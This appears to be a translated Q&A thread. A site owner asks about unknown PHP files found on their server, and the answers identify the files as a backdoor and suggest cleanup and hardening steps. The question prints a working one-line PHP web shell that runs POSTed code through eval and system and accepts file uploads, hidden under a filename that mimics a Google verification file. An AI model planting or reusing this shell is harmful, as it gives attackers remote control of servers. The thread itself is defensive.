这个PHP代码/ hack的目的是什么?

pni*_*ols 10 php security hosting

我最近在我的服务器上发现了4个奇怪的文件(我没有上传).文件名是这样的:goog1e7a20543b128921.php

这里是他们内部的代码:

Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>
Run Code Online (Sandbox Code Playgroud)

你知道这个代码应该做什么吗?我应该开始恐慌吗?

谢谢.

hac*_*ksy 15

是的,这是恶意代码.这个shell脚本将允许执行代码以及上传任何文件是攻击者知道传递给它的参数.我建议在所有文件中搜索该代码,验证文件权限并更改密码以防万一.


Sar*_*raz 10

建议处理攻击

我建议你使用HTML PurifierOWASP来使事情变得更加安全.

如果你没有使用它,你必须禁用该eval构造(除非你真的需要,否则你不应该).

使用以下方法分析任何安全漏洞的服务器设置:

PHPSecInfo

alt text http://phpsec.org/images/psi_ss1.png